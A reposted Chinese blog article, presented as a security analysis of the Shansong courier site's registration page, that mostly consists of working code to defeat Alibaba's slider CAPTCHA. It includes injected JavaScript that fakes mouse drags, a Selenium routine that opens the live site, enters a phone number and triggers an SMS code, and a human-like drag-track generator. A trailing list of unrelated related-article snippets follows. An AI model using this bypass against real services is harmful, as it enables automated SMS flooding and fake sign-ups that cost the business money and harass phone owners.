注册安全分析报告:闪送

news2024/11/15 15:50:07

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 闪送PC 注册入口

简介:闪送作为目前同城即时速递行业一对一急送平台,是同城即时速递行业的开拓者,定义了一对一急送的服务标准和服务时效。闪送一对一的服务模式,明确闪送员从取件到送达全程一次只服务一个客户,点对点送达,所以服务的时效更快、确定性更高、安全性更好,也能够为客户不同类型的递送提供各种专属化服务。

在这里插入图片描述

二、 安全性分析报告:

该网站采用的是阿里的滑动条, 阿里的滑动条设计高度重视用户体验,但安全方面存在一定的设计缺陷,前端将密钥显示出来,造成一定程度的安全漏洞,上报后并未引起重视,漏洞依据存在。
在这里插入图片描述

在这里插入图片描述

三、 测试方法:

前端界面分析,这是阿里的滑动条,网上有一些的教学视频,但形式都差不多,
阿里的滑动条有点像程咬金的三板斧,
1 检测是否是 webdriver (有专门的文章怎么过检)
2 滑动条检测
在这里插入图片描述

滑动条在页面嵌JS 就能过去 
<script>

(function () {
    'use strict';
    /**
     * 休眠
     * [url=home.php?mod=space&uid=952169]@Param[/url] time    休眠时间,单位秒
     * @param desc
     * @returns {Promise<unknown>}
     */
    function sleep(time, desc) {
        return new Promise(resolve => {
            //sleep
            setTimeout(() => {
                console.log(desc, time, 's')
                resolve(time)
            }, Math.floor(time * 1000))
        })
    }
    /**
     * 监测节点是否存在
     * @param selector    CSS选择器
     * @param desc
     * @returns {Promise<unknown>}
     */
    function obsHas(selector, desc) {
        return new Promise(resolve => {
            //obs node
            let timer = setInterval(() => {
                let target = document.querySelector(selector)
                if (!!target) {
                    clearInterval(timer)
                    console.log(desc, selector)
                    resolve(selector)
                } else {
                    return
                }
            }, 100)
        })
    }
    function slide(id) {
        var slider = document.getElementById(id),
            container = slider.parentNode;
 
        var rect = slider.getBoundingClientRect(),
            x0 = rect.x || rect.left,
            y0 = rect.y || rect.top,
            w = container.getBoundingClientRect().width,
            x1 = x0 + w,
            y1 = y0;
 
        var mousedown = document.createEvent("MouseEvents");
        mousedown.initMouseEvent("mousedown", true, true, window, 0,
            x0, y0, x0, y0, false, false, false, false, 0, null);
        slider.dispatchEvent(mousedown);
 
        var mousemove = document.createEvent("MouseEvents");
        mousemove.initMouseEvent("mousemove", true, true, window, 0,
            x1, y1, x1, y1, false, false, false, false, 0, null);
        slider.dispatchEvent(mousemove);
    }
    sleep(1,'sleep')
        .then(() => obsHas('.nc_wrapper','has'))
        .then(() => slide('nc_1_n1z'))
})();
 
</script>

1. 模拟器交互


	private final String INDEX_URL = "http://www.ishansong.com/";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);
			WebElement clossElement = ChromeDriverManager.waitElement(driver, By.className("guide"), 1);
			if (clossElement != null) {
				clossElement.findElement(By.className("close_guide")).click();
			}
			WebElement cityElement = ChromeDriverManager.waitElement(driver, By.className("cityMain"), 1);
			if (cityElement != null && cityElement.isDisplayed()) {
				cityElement.findElement(By.xpath("//div[text()='北京市']")).click();
			}

			// 点击注册
			WebElement logElemet = ChromeDriverManager.waitElement(driver, By.xpath("//div[@class='to-login']"), 10);
			logElemet.click();
			Thread.sleep(3 * 1000);

			// 输入手机号
			By phoneBy = By.xpath("//input[@placeholder='请输入手机号']");
			WebElement phoneElemet = driver.findElement(phoneBy);
			phoneElemet.sendKeys(phone);
			boolean isRobot = true;
			int beginX = 786;
			int beginY = 553;
			if (isRobot) {
				ActionMove.RobotMove(beginX, beginY, 340);
			} else {
				boolean aliRet = AliClient.moveExec(driver, "nc_2_n1z", 370);
				if (!aliRet) {
					return retEntity;
				}
			}
			WebElement getCodeElement = driver.findElement(By.className("getSmsCode"));
			getCodeElement.click();

			Thread.sleep(1 * 1000);
			String msg = getCodeElement.getText();
			retEntity.setMsg(msg);
			if (msg != null && (msg.contains("重新发送") || msg.contains("s"))) {
				retEntity.setRet(0);
			} else {
				System.out.println("msg=" + msg);
			}
			return retEntity;
		} catch (Exception e) {
			retEntity.setRet(-1);
			retEntity.setMsg(e.toString());
			return retEntity;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}

	

2. 模拟鼠标移动


public static boolean moveExec(WebDriver driver, String moveId, int distance) {
		try {
			// 获取滑动按钮
			WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);
			Actions actions = new Actions(driver);
			actions.moveToElement(moveElemet).perform();
			Thread.sleep(500);
			List<Integer> trackList = ActionMove.getTrack(distance);
			actions.clickAndHold(moveElemet).perform();// 按住鼠标左键不释放
			for (Integer moveInt : trackList) {
				actions.moveByOffset(moveInt, 0).perform();// 移动
			}
			actions.release(moveElemet).perform();// 释放鼠标左键
			// 滑动结果
			By langCntBy = By.className("nc-lang-cnt");
			WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);
			String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;
			if (langCntInfo != null && langCntInfo.contains("验证通过")) {
				return true;
			} else {
				System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);
				return false;
			}

		} catch (Exception e) {
			System.out.println("AliClient.moveExec() e=" + e.toString());
			return false;
		}
	}

3. 轨迹生成(单轴通过)


/**
	 * 根据距离获取滑动轨迹
	 * 
	 * @param distance需要移动的距离
	 * @return
	 */
	public static List<Integer> getTrack(int distance) {
		List<Integer> track = new ArrayList<Integer>();// 移动轨迹
		List<Integer[]> list = getXyTrack(distance);
		for (Integer[] m : list) {
			track.add(m[0]);
		}
		return track;
	}

	/**
	 * 双轴轨道生成算法,主要实现平滑加速和减速
	 * 
	 * @param distance
	 * @return
	 */
	public static List<Integer[]> getXyTrack(int distance) {
		List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
		try {
			int a = (int) (distance / 3.0) + random.nextInt(10);
			int h = 0, current = 0;// 已经移动的距离
			BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
			BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
			BigDecimal move = null;// 每次循环移动的距离
			List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
			boolean plus = true;
			Double t = 0.18, v = 0.00, v0;
			while (current <= distance) {
				h = random.nextInt(2);
				if (current > distance / 2) {
					h = h * -1;
				}
				v0 = v;
				v = v0 + a * t;
				move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
				if (move.intValue() < 1)
					move = new BigDecimal(1L);
				if (plus) {
					track.add(new Integer[] { move.intValue(), h });
				} else {
					subList.add(0, new Integer[] { move.intValue(), h });
				}
				current += move.intValue();
				if (plus && current >= mid.intValue()) {
					plus = false;
					move = new BigDecimal(0L);
					v = 0.00;
				}
			}
			track.addAll(subList);
			int bk = current - distance;
			if (bk > 0) {
				for (int i = 0; i < bk; i++) {
					track.add(new Integer[] { -1, h });
				}
			}
			System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
			return track;
		} catch (Exception e) {
			System.out.print(e.toString());
			return null;
		}
	}



4. 测试返回结果:

在这里插入图片描述

四丶结语

闪送作为快递行业知名的头部企业,在点对点送达业务占据很大的市场份额,拥有雄厚的技术实力,但在验证产品方面,不是自己研发而是采用第三方的阿里的滑动条, 阿里的产品由于过度重视用户体验, 简单的滑动条特别,模拟器只需要单轴的模拟轨道就可以通过, 说明阿里对轨迹的校验比较宽松,之前的分析显示,阿里主要是靠模拟器识别,如果这道关过了,就没有其它的防护措施了 。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2159369.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C#测试调用Ghostscript.NET浏览PDF文件

Ghostscript.NET是针对Ghostscript的C#封装库&#xff0c;支持解析PostScript语言、操作PDF文件等。使用Ghostscript.NET的GhostscriptViewer 模块可以以图片形式查看PDF文档。本文学习并测试调用Ghostscript.NET模块打开及浏览PDF文件的基本用法。   Ghostscript.NET目前主要…

.NET 6.0 WebAPI 使用JWT生成Token的验证授权

1.引入相关程序包JwtBearer注意版本: 2.配置文件appsettings.json写相关配置参数(也可不写&#xff0c;写在程序里面&#xff0c;数据库读取也是一样的) , //JWT加密"JWTToken": {"SecretKey": "jsaduwqe6asdjewejdue7dfmsdfu0sdfmwmsd8wfsd6",…

洛谷-P3916 图的遍历

题目描述 给出 N 个点&#xff0c;M 条边的有向图&#xff0c;对于每个点 v&#xff0c;求A(v) 表示从点 v 出发&#xff0c;能到达编号最大的点。 思路 既然是要找到最大的点&#xff0c;那么我从最大的点开始DFS是否可以&#xff1f; 于是可以反向建图&#xff0c;然后从最…

HTML图片标记(四)配图详解

目录 1.HTML图片的基础语法 2.设置图片大小 3.改变图片边距 4.图片对齐方式 1.HTML图片的基础语法 <img src"图片路径"> 2.设置图片大小 <img src"图片路径" width"" length""> 3.改变图片边距 <img src"…

Python 二次开发金橙子打印软件:开启高效打印新旅程

目录 一、准备工作&#xff1a;搭建系统环境 二、二次开发流程详解 结合一个实例来讲解如何进行二次开发。 三、Python 二次开发关键要素 &#xff08;一&#xff09;源码示例与解读 &#xff08;二&#xff09;二次开发文档指引 四、问题汇总与解决方案 &#xff08;一…

【HTML5】html5开篇基础(2)

1.❤️❤️前言~&#x1f973;&#x1f389;&#x1f389;&#x1f389; Hello, Hello~ 亲爱的朋友们&#x1f44b;&#x1f44b;&#xff0c;这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章&#xff0c;请别吝啬你的点赞❤️❤️和收藏&#x1f4d6;&#x1f4d6;。如果你对我的…

Spring Boot 学习之路 -- 配置项目

前言 最近因为业务需要&#xff0c;被拉去研究后端的项目&#xff0c;代码基于 Spring Boot&#xff0c;对我来说完全小白&#xff0c;需要重新学习研究…出于个人习惯&#xff0c;会以 Blog 文章的方式做一些记录&#xff0c;文章内容基本来源于「 Spring Boot 从入门到精通&…

【一起学NLP】Chapter2-学习神经网络

目录 学习神经网络损失函数Tip:One-hot向量导数与梯度Tip:严格地说链式法则计算图反向传播其他典型的运算结点乘法结点分支节点Repeat节点Sum节点MatMul节点 Tip:浅拷贝和深拷贝的差异梯度的推导和反向传播的实现Sigmoid层Affine层Softmax with Loss层 权重的更新——随机梯度下…

[PICO VR]Unity如何往PICO VR眼镜里写持久化数据txt/json文本

前言 最近在用PICO VR做用户实验&#xff0c;需要将用户实验的数据记录到PICO头盔的存储空间里&#xff0c;记录一下整个过程 流程 1.开启写入权限 首先开启写入权限&#xff1a;Unity->Edit->Player->安卓小机器人->Other Settings->Configuration->Wri…

大数据毕业设计选题推荐-网络电视剧收视率分析系统-Hive-Hadoop-Spark

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、PHP、.NET、Node.js、GO、微信小程序、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇…

数据库主备副本物理复制和逻辑复制对比

数据库主从节点的数据一致性是保证数据库高可用的基本要求&#xff0c;各个数据库在实现方式上也各有异同。而主备复制的方式无外乎两种&#xff1a;物理复制和逻辑复制&#xff0c;本文简要对比下两种方式的不同&#xff0c;并分析下国产数据库是如何实现的。 1、数据库复制基…

中国中车在线测评考的啥?大易题库如何通过|附真题型国企题库通关秘籍和攻略

言语理解题目&#xff1a;这类题目主要考察你的语言理解和表达能力&#xff0c;例如&#xff0c;给你一个段落&#xff0c;让你根据段落内容选择最合适的答案。要点是快速捕捉文段中的关键信息&#xff0c;理解作者的意图和观点 逻辑推理题目&#xff1a;这类题目需要你从一组…

Java面试篇基础部分- 锁详解

可重入锁 可重入锁也叫作递归锁,是指在同一个线程中,在外层函数获取到该锁之后,内存的递归函数还可以获取到该锁。在Java语言环境下,ReentrantLock和Synchroinzed都是可重入锁的代表。 公平锁与非公平锁 公平锁(Fair Lock)是指在分配锁之前检查是否有线程在排队等待获取…

CICD从无到会

一 CICD是什么 CI/CD 是指持续集成&#xff08;Continuous Integration&#xff09;和持续部署&#xff08;Continuous Deployment&#xff09;或持续交付&#xff08;Continuous Delivery&#xff09; 1.1 持续集成&#xff08;Continuous Integration&#xff09; 持续集成是…

【每天学个新注解】Day 4 Lombok注解简解(三)—@NonNull

我们在之前的三天学了Lombok常用的注解&#xff1a; 【每天学个新注解】Day 1 Lombok注解简解&#xff08;〇&#xff09;—Getter、Setter、ToString、EqualsAndHashCode、Constructor 【每天学个新注解】Day 2 Lombok注解简解&#xff08;一&#xff09;—Data、Build、Value…

【威领,德新,中达安】9.23复盘

威领这次的底部是4个月 所以这种跳空高开&#xff0c;远离5日均线的&#xff0c;如果不是近期的利好板块&#xff0c;那么第二天可能要回调5日均线。所以按照我的收益准则&#xff0c;吃一个板可以出一半了。 到顶部十字剩下一半也出掉了。 如果做长期&#xff0c;我依旧认为威…

git学习报告

文章目录 git学习报告如何配置vscode终端安装PowerShell安装 Microsoft.Powershell.Preview使用 git的使用关于团队合作 git指令本地命令&#xff1a;云端指令 git学习报告 如何配置vscode 安装powershell调教window终端&#xff0c;使其像Linux一样&#xff0c;通过Linux命令…

C语言初识(一)

目录 前言 一、什么是C语言&#xff1f; 二、第一个C语言程序 &#xff08;1&#xff09;创建新项目 &#xff08;2&#xff09;编写代码 &#xff08;3&#xff09;main函数 三、数据类型 四、变量、常量 &#xff08;1&#xff09;变量的命名 &#xff08;2&#x…

mysql复合查询 -- 合并查询(union,union all)

目录 合并查询 介绍 表数据 union 使用场景 ​编辑 示例 union all 合并查询 介绍 它不像笛卡尔积那种,将行信息做乘法 合并只是单纯地合在一起求的是两个结果集的并集,并且会自动去掉并集中的重复行 注意,因为是求并集,会将两个结果进行拼接 所以要保证列信息相同 表…

13.第二阶段x86游戏实战2-动态模块地址

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 本次游戏没法给 内容参考于&#xff1a;微尘网络安全 本人写的内容纯属胡编乱造&#xff0c;全都是合成造假&#xff0c;仅仅只是为了娱乐&#xff0c;请不要…